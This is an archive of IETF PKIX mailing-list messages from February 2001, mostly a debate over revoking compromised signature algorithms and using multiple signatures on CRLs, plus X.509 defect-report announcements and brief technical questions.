Cc: [e-mail]
Subject: RE: multiple digitale signatures
Date: Fri, 23 Feb 2001 08:23:12 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id AAA13778

Sonke,

Again as devils advocate, In the past protocols have also shown themselves
to have flaws which can be compromised, for example SSL V2 is no longer
recommended, should a protocol identifier and version be added to the list?

I is quite possible that some cryptographic implementations in both hardware
or software could be compromised, should these also be added to the list?

If we accept these risks and guard against them then obviously I cannot
trust a compromised protocol to report on its own compromise so logically I
must implement two different protocols simultaneously which both use
multiple algorithms which are independently passed through two separate
implementations!

I do not know current practice within for example Identrus on key lengths
but anybody correct me if I am wrong. The banks I am sure are not routinely
using 4096 bit RSA keys even though these are much stronger than 2048/1024
bits and are less likely to be broken.  The reason is that they have made a
trade off between cost and security.  Any system must be adequately secured
for the business purposes to which it is put. Any higher security than this
is an unnecessary expense, it just gets interesting when defining
'adequate'.

Anything which adds to the cost of a system, which this does by increasing
the complexity, must be justified by the value it adds. I do not believe it
does in this case.

I think we have two opposing views and must accept that. May I suggest that
if you are still not convinced then you ask the chair to put it to a vote.

Graham


-----Original Message-----
From: Sönke Maseberg [mailto:[e-mail]]
Sent: 22 February 2001 08:50
To: Bland, Graham
Cc: [e-mail]
Subject: Re: multiple digitale signatures



I understand now the problems on revocation.

But I want to point out, that there is no signature algorithm that is
proofable
secure. Yes, the established algorithms are analysed and they seem to be
secure,
but we cannot exclude the sudden compromise of a signature algorithm. On the
other hand a lot of companies, banks or governments rely on PKI
technologies.
What would happen if a failure occurs? The reason can also be an incorrect
implementation. E.g. think of Identrus - the worldwide PKI of some banks:
What
would happen if Identrus doesn't work and the banks cannot communicate
securely?

For this reason we want to build a flexible public key infrastructure which
can
be used to exchange compomised components securely.

To support Standards of PKIX as well, we ask for some discussions about an
extension in CMP (PKIX - Certificate Management Protocols)
[<draft-ietf-pkix-rfc2510bis-02.txt>, November, 2000, Appendix F]:

     PKIBody  ::=  CHOICE  {
        ...
        compUpdate [25]  UpdateData,    -- Extension for Components Update
        }

     UpdateData  ::=  SEQUENCE  {
       infoCode    OBJECT IDENTIFIER,
       freeText    UTF8String                 OPTIONAL,
       relevantID  SET OF ApplicationIdentifier,
       newID       AlgorithmIdentifier        OPTIONAL,
       code        BIT STRING                 OPTIONAL
       }

UpdateData has the following meanings:
infoCode      a code that is interpreted by the software
freeText      readable text for the user
relevantID    Identifier of compromised components
newID         Identifier of new components
code          code of new components


Thanks in advance,
Sönke


"Bland, Graham" schrieb:

> Sonke,
>
> I think we have a fundamental philosophical disagreement.
> A CA is responsible for the certificates it issues only according to the
> clauses it places in its CPS.  It does not necessarily know the business
> purposes to which the certificates will be put For example there is a
great
> difference in my use of a certificate to sign a $100 million contract
> opposed to its use to secure possibly embarrassing valentines emails to my
> wife.
> The CA does not know, has no interest in knowing and has no responsibility
> for the use to which the certificate is put.  As such it is not a
competent
> agency to determine if it should revoke my certificate, it may only
respond
> to my request for revocation.
>
> The other problem is that I just do not believe that when prudence is used
> to select established algorithms that have been subject to review and
> cryptanalysis such algorithms are suddenly compromised.  However even
> established algorithms will become weaker over time due if nothing else
but
> Moores law.
> While your model works in the first case which I believe will not happen,
it
> does not work in the second case which I know will.
>
> Graham Bland
>
> -----Original Message-----
> From: Sönke Maseberg [mailto:[e-mail]]
> Sent: 21 February 2001 10:03
> To: [e-mail]; [e-mail]
> Subject: RE: multiple digitale signatures
>
> Graham,
>
> we are working at the problems if a signature algorithm is compromised
> suddenly without any time to change the algorithm parameters, keys oder
> key lengths. IMO the CA is responsible for the certificates of the CHs.
> If now a failure occurs, the shocked certificates have to be revoked.
> The idea is to revoke the certificates not explicitly but implicitly
> through the revocation of the used signature algorithms. The benefit
> would be a shorter CRL, and the benefit grows up if many CHs are
> involved.
>
> I agree that for multiple digital signatures different signature
> algorithms have to be used with independent components like hash
> algorithm and independent basic mathematical problems. The use of
> multiple digital signatures is optional in relation to the specific
> application: In authentication applications it makes less sense. But the
> signatures in e.g. e-government have to be proofable for many years.
>
> Sönke
>
> _______________________________________________________________________
>
> This message is confidential and is intended for the addressee only;
> unless clearly stated that this disclaimer should not apply, this
> e-mail is not intended to create legally binding commitments on
> behalf of any company in the British Interactive Broadcasting
> Holdings Limited group,  nor do its contents reflect the corporate
> views or policies of any such company. Any unauthorised disclosure,
> use or dissemination, either whole or partial, is prohibited. If you
> are not the intended recipient of the message, please notify the
> sender immediately.
> _______________________________________________________________________
_______________________________________________________________________

This message is confidential and is intended for the addressee only;
unless clearly stated that this disclaimer should not apply, this 
e-mail is not intended to create legally binding commitments on 
behalf of any company in the British Interactive Broadcasting 
Holdings Limited group,  nor do its contents reflect the corporate 
views or policies of any such company. Any unauthorised disclosure, 
use or dissemination, either whole or partial, is prohibited. If you 
are not the intended recipient of the message, please notify the
sender immediately.
_______________________________________________________________________


Received: from hawk.prod.itd.earthlink.net (hawk.prod.itd.earthlink.net [207.217.120.22]) by above.proper.com (8.9.3/8.9.3) with ESMTP id LAA27766 for <[e-mail]>; Thu, 22 Feb 2001 11:07:21 -0800 (PST)
Received: from [38.29.214.180] (ip180.phoenix26.az.pub-ip.psi.net [38.29.214.180]) by hawk.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id LAA00540; Thu, 22 Feb 2001 11:06:34 -0800 (PST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <a05001908b6bb10ccce58@[38.29.214.180]>
Date: Thu, 22 Feb 2001 12:04:10 -0700
To: "X.509":;
From: "Hoyt L. Kesterson II" <[e-mail]>
Subject: a correction to DR275
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

hello

david chadwick found an error in the OID assignment in DR 275

the revised DR can be found  at

 
ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/DefectReports/X.509andRelated/DR_275Rev1.pdf

thanks david

    hoyt


Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA19014 for <[e-mail]>; Thu, 22 Feb 2001 07:56:32 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id EAA27716 for <[e-mail]>; Fri, 23 Feb 2001 04:56:32 +1300 (NZDT) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98285739210309>; Fri, 23 Feb 2001 04:56:32 (NZDT)
From: [e-mail] (Peter Gutmann)
To: [e-mail]
Subject: Re: multiple digitale signatures
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Fri, 23 Feb 2001 04:56:32 (NZDT)
Message-ID: <[e-mail]>

SM-vnke Maseberg <[e-mail]> writes:

>But I want to point out, that there is no signature algorithm that is
>proofable secure. Yes, the established algorithms are analysed and they seem
>to be secure, but we cannot exclude the sudden compromise of a signature
>algorithm. On the other hand a lot of companies, banks or governments rely on
>PKI technologies. What would happen if a failure occurs? 

What will happen depends on the signature algorithm which is compromised:

RSA: The entire world will find out.  It'll be on the evening news, and the
     front page of most papers.  As yet undiscovered tribes in the jungles of
     Borneo will have missionaries hacking their way through the undergrowth
     just to tell them.

DSA: The few government users who care will read about it in Government
     Computer News and keep using it anyway while they await orders from on
     high on what to do next.  NIST will convene a standards group to look 
     into the matter with a preliminary draft due in early 2003.  ANSI will
     also work on resolving this with a draft due in 2003, but it won't
     actually be published until 2012.  Neither of these versions will be 
     even remotely compatible with any existing work.  Leaked, obsolete 
     copies will be incorporated in part into some RFCs.

X9.42 DH (which isn't actually a signature algorithm anyway), various ECCs, and
     others: In 6-12 months there will be a paper in Crypto or Eurocrypt which
     cryptographers will agree is a brilliant attack and which everyone else
     will ignore completely.

I can't see that any of these cases require the introduction of any complex new
dual-signature mechanism to augment them.  If there's a sudden compromise
(which, as others have pointed out, is incredibly unlikely), it'll be handled
through standard channels.  End of story, now we can get back to debating how
many name constraints can fit on the head of a pin.

Peter.



Received: from mail.cablespeed.com (mail.cablespeed.com [206.112.192.76]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA18650 for <[e-mail]>; Thu, 22 Feb 2001 07:50:56 -0800 (PST)
Received: from cablespeed.com (c216-45-71-147.md1.cablespeed.com [216.45.71.147]) by mail.cablespeed.com (8.9.3/8.9.3) with ESMTP id HAA10500; Thu, 22 Feb 2001 07:49:51 -0800
Message-ID: <[e-mail]>
Date: Thu, 22 Feb 2001 10:52:28 -0500
From: jim <[e-mail]>
X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; I)
X-Accept-Language: en
MIME-Version: 1.0
To: =?iso-8859-1?Q?S=F6nke?= Maseberg <[e-mail]>
CC: "Bland, Graham" <[e-mail]>, [e-mail]
Subject: Re: multiple digitale signatures
References: <36086CC80304D3119B040008C75DF5960494348A@claudio> <[e-mail]>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Sonke,
    I am not sure what you mean by proofable secure.  Please clarify.  If you mean
that it is not by itself secure and therefore proof of its secureness cannot be
verified after the fact, then I do understand, but if you are saying that signatures
are inherently not able to provide proof of the authenticity of the signee, then
that is the reason that many CP and CPSs require the use of encryption any time
something is going to be signed.  In this manner, the encryption outer wrapping
protects the integrity of the signature providing proofability of the authenticity
of the signature.  IMHO, both have to be there.
Jim

Sönke Maseberg wrote:

> I understand now the problems on revocation.
>
> But I want to point out, that there is no signature algorithm that is proofable
> secure. Yes, the established algorithms are analysed and they seem to be secure,
> but we cannot exclude the sudden compromise of a signature algorithm. On the
> other hand a lot of companies, banks or governments rely on PKI technologies.
> What would happen if a failure occurs? The reason can also be an incorrect
> implementation. E.g. think of Identrus - the worldwide PKI of some banks: What
> would happen if Identrus doesn't work and the banks cannot communicate securely?
>
> For this reason we want to build a flexible public key infrastructure which can
> be used to exchange compomised components securely.
>
> To support Standards of PKIX as well, we ask for some discussions about an
> extension in CMP (PKIX - Certificate Management Protocols)
> [<draft-ietf-pkix-rfc2510bis-02.txt>, November, 2000, Appendix F]:
>
>      PKIBody  ::=  CHOICE  {
>         ...
>         compUpdate [25]  UpdateData,    -- Extension for Components Update
>         }
>
>      UpdateData  ::=  SEQUENCE  {
>        infoCode    OBJECT IDENTIFIER,
>        freeText    UTF8String                 OPTIONAL,
>        relevantID  SET OF ApplicationIdentifier,
>        newID       AlgorithmIdentifier        OPTIONAL,
>        code        BIT STRING                 OPTIONAL
>        }
>
> UpdateData has the following meanings:
> infoCode      a code that is interpreted by the software
> freeText      readable text for the user
> relevantID    Identifier of compromised components
> newID         Identifier of new components
> code          code of new components
>
> Thanks in advance,
> Sönke
>
> "Bland, Graham" schrieb:
>
> > Sonke,
> >
> > I think we have a fundamental philosophical disagreement.
> > A CA is responsible for the certificates it issues only according to the
> > clauses it places in its CPS.  It does not necessarily know the business
> > purposes to which the certificates will be put For example there is a great
> > difference in my use of a certificate to sign a $100 million contract
> > opposed to its use to secure possibly embarrassing valentines emails to my
> > wife.
> > The CA does not know, has no interest in knowing and has no responsibility
> > for the use to which the certificate is put.  As such it is not a competent
> > agency to determine if it should revoke my certificate, it may only respond
> > to my request for revocation.
> >
> > The other problem is that I just do not believe that when prudence is used
> > to select established algorithms that have been subject to review and
> > cryptanalysis such algorithms are suddenly compromised.  However even
> > established algorithms will become weaker over time due if nothing else but
> > Moores law.
> > While your model works in the first case which I believe will not happen, it
> > does not work in the second case which I know will.
> >
> > Graham Bland
> >
> > -----Original Message-----
> > From: Sönke Maseberg [mailto:[e-mail]]
> > Sent: 21 February 2001 10:03
> > To: [e-mail]; [e-mail]
> > Subject: RE: multiple digitale signatures
> >
> > Graham,
> >
> > we are working at the problems if a signature algorithm is compromised
> > suddenly without any time to change the algorithm parameters, keys oder
> > key lengths. IMO the CA is responsible for the certificates of the CHs.
> > If now a failure occurs, the shocked certificates have to be revoked.
> > The idea is to revoke the certificates not explicitly but implicitly
> > through the revocation of the used signature algorithms. The benefit
> > would be a shorter CRL, and the benefit grows up if many CHs are
> > involved.
> >
> > I agree that for multiple digital signatures different signature
> > algorithms have to be used with independent components like hash
> > algorithm and independent basic mathematical problems. The use of
> > multiple digital signatures is optional in relation to the specific
> > application: In authentication applications it makes less sense. But the
> > signatures in e.g. e-government have to be proofable for many years.
> >
> > Sönke
> >
> > _______________________________________________________________________
> >
> > This message is confidential and is intended for the addressee only;
> > unless clearly stated that this disclaimer should not apply, this
> > e-mail is not intended to create legally binding commitments on
> > behalf of any company in the British Interactive Broadcasting
> > Holdings Limited group,  nor do its contents reflect the corporate
> > views or policies of any such company. Any unauthorised disclosure,
> > use or dissemination, either whole or partial, is prohibited. If you
> > are not the intended recipient of the message, please notify the
> > sender immediately.
> > _______________________________________________________________________



Received: from sysiphos.maz-hh.de (sysiphos.maz-hh.de [192.109.56.14]) by above.proper.com (8.9.3/8.9.3) with ESMTP id EAA03805 for <[e-mail]>; Thu, 22 Feb 2001 04:41:17 -0800 (PST)
Received: from hora.timeproof.de (timegate.maz-hh.de [192.109.56.29]) by sysiphos.maz-hh.de (8.9.3/8.9.3) with ESMTP id NAA21494 for <[e-mail]>; Thu, 22 Feb 2001 13:41:09 +0100 (MET)
Received: from timeproof.de (pc107 [192.168.111.107]) by hora.timeproof.de (8.9.3+Sun/8.9.3) with ESMTP id NAA04497 for <[e-mail]>; Thu, 22 Feb 2001 13:41:04 +0100 (MET)
Message-ID: <[e-mail]>
Date: Thu, 22 Feb 2001 13:43:11 +0100
From: Joerg Seidel <[e-mail]>
Organization: timeproof
X-Mailer: Mozilla 4.76 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
CC: [e-mail]
Subject: Re: Algorithm revocation
References: <[e-mail]> <[e-mail]>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Hi,

Soenke Maseberg wrote:
> > However, signed timestamp pyramiding ought to protect against later
> > compromises of algorithms which are not believed to be questionable at the
> > time of the OCSP check.
> 
> The problem of timestamps occurs if they uses the compromised signature
> algorithm too.

timestamp should be logged for this reason. This avoids the problems with the
signature algorithm.

Jörg
-- 
__________________________________________________________________

Jörg Seidel                             phone  [phone]
Director Technology                     fax    [phone]
timeproof GmbH                          
Harburger Schloßstraße 6-12             mailto:[e-mail]
DE 21079 Hamburg                        http://www.timeproof.de
__________________________________________________________________


Received: from eagle.odysseytec.com (lan-202-144-45-2.maa.sify.net [202.144.45.2] (may be forged)) by above.proper.com (8.9.3/8.9.3) with ESMTP id BAA14281 for <[e-mail]>; Thu, 22 Feb 2001 01:21:19 -0800 (PST)
Received: from odysseytec.com (IDENT:[e-mail] [192.168.1.46]) by eagle.odysseytec.com (8.9.3/8.9.3) with ESMTP id OAA10724 for <[e-mail]>; Thu, 22 Feb 2001 14:56:00 +0530
Sender: [e-mail]
Message-ID: <[e-mail]>
Date: Thu, 22 Feb 2001 14:56:36 +0530
From: AnanthaNarayanan <[e-mail]>
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.12-20 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: pkix <[e-mail]>
Subject: unsubsribe
Content-Type: multipart/mixed; boundary="------------FC32E247A134820C5566E63B"

This is a multi-part message in MIME format.
--------------FC32E247A134820C5566E63B
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

unsubscribe ietf-pkix AnanthaNarayanan <[e-mail]

--------------FC32E247A134820C5566E63B
Content-Type: text/x-vcard; charset=us-ascii;
 name="ananthu.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for AnanthaNarayanan
Content-Disposition: attachment;
 filename="ananthu.vcf"

begin:vcard 
n:narayanan;Ananthu
x-mozilla-html:FALSE
adr:;;;;;;
version:2.1
email;internet:[e-mail]
note:						
x-mozilla-cpt:;0
fn:Ananthu narayanan
end:vcard

--------------FC32E247A134820C5566E63B--



Received: from mout1.freenet.de ([e-mail] [194.97.50.132]) by above.proper.com (8.9.3/8.9.3) with ESMTP id AAA10163 for <[e-mail]>; Thu, 22 Feb 2001 00:48:13 -0800 (PST)
Received: from [194.97.50.135] (helo=mx2.freenet.de) by mout1.freenet.de with esmtp (Exim 3.22 #1) id 14VrPw-0004os-00; Thu, 22 Feb 2001 09:48:04 +0100
Received: from a5e60.pppool.de ([213.6.94.96] helo=darmstadt.gmd.de) by mx2.freenet.de with esmtp (Exim 3.22 #1) id 14VrPv-0005mS-00; Thu, 22 Feb 2001 09:48:03 +0100
Message-ID: <[e-mail]>
Date: Thu, 22 Feb 2001 09:49:51 +0100
From: =?iso-8859-1?Q?S=F6nke?= Maseberg <[e-mail]>
X-Mailer: Mozilla 4.7 [de] (Win95; I)
X-Accept-Language: de,en
MIME-Version: 1.0
To: "Bland, Graham" <[e-mail]>
CC: [e-mail]
Subject: Re: multiple digitale signatures
References: <36086CC80304D3119B040008C75DF5960494348A@claudio>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

I understand now the problems on revocation.

But I want to point out, that there is no signature algorithm that is proofable
secure. Yes, the established algorithms are analysed and they seem to be secure,
but we cannot exclude the sudden compromise of a signature algorithm. On the
other hand a lot of companies, banks or governments rely on PKI technologies.
What would happen if a failure occurs? The reason can also be an incorrect
implementation. E.g. think of Identrus - the worldwide PKI of some banks: What
would happen if Identrus doesn't work and the banks cannot communicate securely?

For this reason we want to build a flexible public key infrastructure which can
be used to exchange compomised components securely.

To support Standards of PKIX as well, we ask for some discussions about an
extension in CMP (PKIX - Certificate Management Protocols)
[<draft-ietf-pkix-rfc2510bis-02.txt>, November, 2000, Appendix F]:

     PKIBody  ::=  CHOICE  {
        ...
        compUpdate [25]  UpdateData,    -- Extension for Components Update
        }

     UpdateData  ::=  SEQUENCE  {
       infoCode    OBJECT IDENTIFIER,
       freeText    UTF8String                 OPTIONAL,
       relevantID  SET OF ApplicationIdentifier,
       newID       AlgorithmIdentifier        OPTIONAL,
       code        BIT STRING                 OPTIONAL
       }

UpdateData has the following meanings:
infoCode      a code that is interpreted by the software
freeText      readable text for the user
relevantID    Identifier of compromised components
newID         Identifier of new components
code          code of new components


Thanks in advance,
Sönke


"Bland, Graham" schrieb:

> Sonke,
>
> I think we have a fundamental philosophical disagreement.
> A CA is responsible for the certificates it issues only according to the
> clauses it places in its CPS.  It does not necessarily know the business
> purposes to which the certificates will be put For example there is a great
> difference in my use of a certificate to sign a $100 million contract
> opposed to its use to secure possibly embarrassing valentines emails to my
> wife.
> The CA does not know, has no interest in knowing and has no responsibility
> for the use to which the certificate is put.  As such it is not a competent
> agency to determine if it should revoke my certificate, it may only respond
> to my request for revocation.
>
> The other problem is that I just do not believe that when prudence is used
> to select established algorithms that have been subject to review and
> cryptanalysis such algorithms are suddenly compromised.  However even
> established algorithms will become weaker over time due if nothing else but
> Moores law.
> While your model works in the first case which I believe will not happen, it
> does not work in the second case which I know will.
>
> Graham Bland
>
> -----Original Message-----
> From: Sönke Maseberg [mailto:[e-mail]]
> Sent: 21 February 2001 10:03
> To: [e-mail]; [e-mail]
> Subject: RE: multiple digitale signatures
>
> Graham,
>
> we are working at the problems if a signature algorithm is compromised
> suddenly without any time to change the algorithm parameters, keys oder
> key lengths. IMO the CA is responsible for the certificates of the CHs.
> If now a failure occurs, the shocked certificates have to be revoked.
> The idea is to revoke the certificates not explicitly but implicitly
> through the revocation of the used signature algorithms. The benefit
> would be a shorter CRL, and the benefit grows up if many CHs are
> involved.
>
> I agree that for multiple digital signatures different signature
> algorithms have to be used with independent components like hash
> algorithm and independent basic mathematical problems. The use of
> multiple digital signatures is optional in relation to the specific
> application: In authentication applications it makes less sense. But the
> signatures in e.g. e-government have to be proofable for many years.
>
> Sönke
>
> _______________________________________________________________________
>
> This message is confidential and is intended for the addressee only;
> unless clearly stated that this disclaimer should not apply, this
> e-mail is not intended to create legally binding commitments on
> behalf of any company in the British Interactive Broadcasting
> Holdings Limited group,  nor do its contents reflect the corporate
> views or policies of any such company. Any unauthorised disclosure,
> use or dissemination, either whole or partial, is prohibited. If you
> are not the intended recipient of the message, please notify the
> sender immediately.
> _______________________________________________________________________



Received: from falcon.prod.itd.earthlink.net (falcon.prod.itd.earthlink.net [207.217.120.74]) by above.proper.com (8.9.3/8.9.3) with ESMTP id XAA26681 for <[e-mail]>; Wed, 21 Feb 2001 23:25:00 -0800 (PST)
Received: from [38.29.213.22] (ip22.phoenix25.az.pub-ip.psi.net [38.29.213.22]) by falcon.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id XAA11718; Wed, 21 Feb 2001 23:24:10 -0800 (PST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <a05001901b6ba65374d52@[38.29.213.22]>
Date: Thu, 22 Feb 2001 00:24:12 -0700
To: "X.509":;
From: "Hoyt L. Kesterson II" <[e-mail]>
Subject: Defect reports against X.509
Content-Type: text/plain; charset="us-ascii"

Hello

I have posted some defect reports on the server. Three of these (DRs 272, 273, and 274) are revisions of proposed defect resolutions that I posted in late November of last year. There was a substantial amount of comment. These revised texts should address those comments.

In addition I have posted DRs 275 - 277. The subject of the DRs are

DR 272 - Certification path length
DR 273 - Name constraints
DR 274 - Attribute certificate version
DR 275 - Extended key usage
DR 276 - Any policy in self-issued certificates
DR 277 - Requires explicit policy skip certs value

The DRs can be found at

ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/DefectReports/X.509andRelated/DR_272Rev1.pdf

ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/DefectReports/X.509andRelated/DR_273Rev1.pdf

ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/DefectReports/X.509andRelated/DR_274Rev2.pdf

ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/DefectReports/X.509andRelated/DR_275.pdf

ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/DefectReports/X.509andRelated/DR_276.pdf

ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/DefectReports/X.509andRelated/DR_277.pdf

We plan to submit these solutions, within the next two weeks, for formal voting in ISO. Therefore if there are any concerns about the proposed solutions, please let us know as soon as possible so any necessary modifications can be made before submitting to ballot.

On the issue of name constraints, we would like to thank the PKIX profile editors and contributors for all the effort they gave between the last PKIX meeting and the X.509 meeting in Geneva in late January. That effort ensured that we arrived at a single solution that satisfies the combined requirements that have arisen in both groups. This solution was reviewed during the meeting meeting in Geneva and has the support of those present at that meeting.

We have also approved Technical Corrigenda to both the 3rd and 4th editions. They can be found at

ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/TechnicalCorrigenda/ApprovedTechnicalCorrigendaToX.509/TC1toX.509%7C8-4thEdition.pdf

ftp://ftp.bull.com/pub/OSIdirectory/DefectResolution/TechnicalCorrigenda/ApprovedTechnicalCorrigendaToX.509/TC9toX.509%7C8-3rdEdition.pdf

The TC to the 4th edition will be incorporated into the 4th edition. ITU has not been able to published the document as originally scheduled but I expect they will have it out in the next few months. In the interim we will publish yet another "final" version of X.509 on the server within the next few weeks. It will be announced to these lists when it is available.


Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id TAA13894 for <[e-mail]>; Wed, 21 Feb 2001 19:15:04 -0800 (PST)
Received: from [128.33.238.20] (TC013.BBN.COM [128.33.238.13]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id WAA09231; Wed, 21 Feb 2001 22:15:03 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <v04220804b6ba2316f582@[128.33.238.20]>
In-Reply-To: <[e-mail]>
References:  <[e-mail]>	 <[e-mail]> <v04220801b6b8ae2685f7@[128.33.238.48]> <[e-mail]>
Date: Wed, 21 Feb 2001 21:03:41 -0500
To: =?iso-8859-1?Q?S=F6nke?= Maseberg <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: Algorithm revocation
Cc: [e-mail]
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id TAA13896

Sönke,

>Steve,
>
>I would like to quote 'PKIX Roadmap- March 10, 2000'
>[<draft-ietf-pkix-roadmap-05.txt>], part 3.5.6.2. Key Compromise
>
>  In the case of a key compromise, the transition will not be
>  "graceful" in that there will be an unplanned switch of PKCs and
>  keys; users will not have known in advance what was about to happen.
>  Still, the PKI must support the ability to declare that the previous
>  PKC is now invalid and shall not be used, and to announce the
>  validity and availability of the new PKC.
>
>  Note: compromise of a private key associated with a Root CA is
>  catastrophic for users relying on that Root CA. If a Root CA's
>  private key is compromised, that CA's PKC must be revoked and all
>  PKCs subordinate to it must also be revoked. Until such time as the
>  Root CA has been issued a new PKC and the Root CA issues PKCs to
>  users relying upon it, users relying on that Root CA are cut off
>  from the rest of the system, as there is no way to develop a valid
>  certification path back to a trusted node.
>
>  Further, users will likely have to be notified by out-of-band
>  mechanisms about the change in CA keys. [...]
>
>To avoid these out-of-band mechanisms IMO multiply-signed CRLs or OCSP
>responses are necessary.

As Graham noted, the text here refers to private key compromise, not 
to what you have termed algorithm compromise (definitely not a 
standard term). Also, as Graham noted, algorithm compromises for 
widely deployed, well analyzed algorithms have not been sudden 
events. So, while one might argue for multiple signatures on CRLs and 
OCSP responses to address this concern, it seems rather late in the 
game to make such substantial changes for what appears to be a very 
low likelihood event.

Steve



Received: from inspiron.tenebras.com (adsl-64-163-143-195.dsl.snfc21.pacbell.net [64.163.143.195]) by above.proper.com (8.9.3/8.9.3) with ESMTP id QAA05886 for <[e-mail]>; Wed, 21 Feb 2001 16:09:00 -0800 (PST)
Received: from dnai.com (localhost [127.0.0.1]) by inspiron.tenebras.com (8.11.1/8.9.3) with ESMTP id f1M08cI01243; Wed, 21 Feb 2001 16:08:45 -0800 (PST) (envelope-from [e-mail])
Sender: [e-mail]
Message-ID: <[e-mail]>
Date: Wed, 21 Feb 2001 16:08:38 -0800
From: Michael Sierchio <[e-mail]>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: [e-mail]
CC: [e-mail], [e-mail]
Subject: Re: Use of TLS for authentication/encryption in wireless( LANS )
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

[e-mail] wrote:

> Can you point me to any comprehensive references/books on use of TLS for
> authentication of wireless clients/servers in a WLAN?

TLS isn't appropriate for WLAN. WLAN implies Layer 2 security -- WEP, etc.
and the recent 802.11(e) efforts.  802.11(e) and some of the Public Key
based solutions for user and device authentication could readily make use
of some of the tools provided by OpenSSL,  but nothing in the protocol.


Received: from topaz.3com.com (topaz.3com.com [192.156.136.158]) by above.proper.com (8.9.3/8.9.3) with ESMTP id QAA05100 for <[e-mail]>; Wed, 21 Feb 2001 16:00:46 -0800 (PST)
From: [e-mail]
Received: from opal.3com.com (opal.3com.com [139.87.50.117]) by topaz.3com.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id f1LNx0k11027; Wed, 21 Feb 2001 15:59:00 -0800 (PST)
Received: from hqoutbound.ops.3com.com (hqoutbound.ops.3com.com [139.87.48.104]) by opal.3com.com (Switch-2.1.0/Switch-2.1.0) with SMTP id f1M00Ij03207; Wed, 21 Feb 2001 16:00:18 -0800 (PST)
Received: by hqoutbound.ops.3com.com(Lotus SMTP MTA v4.6.7  (934.1 12-30-1999))  id 882569FB.00002AEA ; Wed, 21 Feb 2001 16:01:49 -0800
X-Lotus-FromDomain: 3COM
To: [e-mail], [e-mail]
Message-ID: <[e-mail]>
Date: Wed, 21 Feb 2001 16:02:04 -0800
Subject: Use of TLS for authentication/encryption in wireless( LANS )
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi All,

Can you point me to any comprehensive references/books on use of TLS for
authentication of wireless clients/servers in a WLAN?

Thank you,

Areg Alimian




Received: from exchsvr1.entegrity.com (exchsvr1.entegrity.com [207.215.19.3]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA15501 for <[e-mail]>; Wed, 21 Feb 2001 07:51:56 -0800 (PST)
Received: from roger (dave.entegrity.se [195.100.88.62]) by exchsvr1.entegrity.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id D40J68TH; Wed, 21 Feb 2001 07:50:19 -0800
From: "Martin Lindström" <[e-mail]>
To: <[e-mail]>
Subject: cRLIssuer vs. distributionPoint
Date: Wed, 21 Feb 2001 16:51:23 +0100
Message-ID: <003601c09c1e$24bbc010$[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal

I have some questions regarding how the distributionPoint and cRLIssuer
fields of the DistributionPoint/CRLDistributionPoint extension
should be interpreted.

True or false? If the distributionPoint field is present, the cRLIssuer
always specifies the issuer name of the CRL that we should try to get.

New-part1 says "If the distributionPointName is absent, cRLIssuer MUST
be present and include a Name corresponding to an X.500 or LDAP directory
entry where the CRL is located".
My understanding of this is that it should point to a location where
the CRL can be fetched, it does not say necessarily specify the CRL
issuer name. If that is correct, why not use the distributionPoint field
for this purpose?

Thanks in advance.

/Martin Lindström



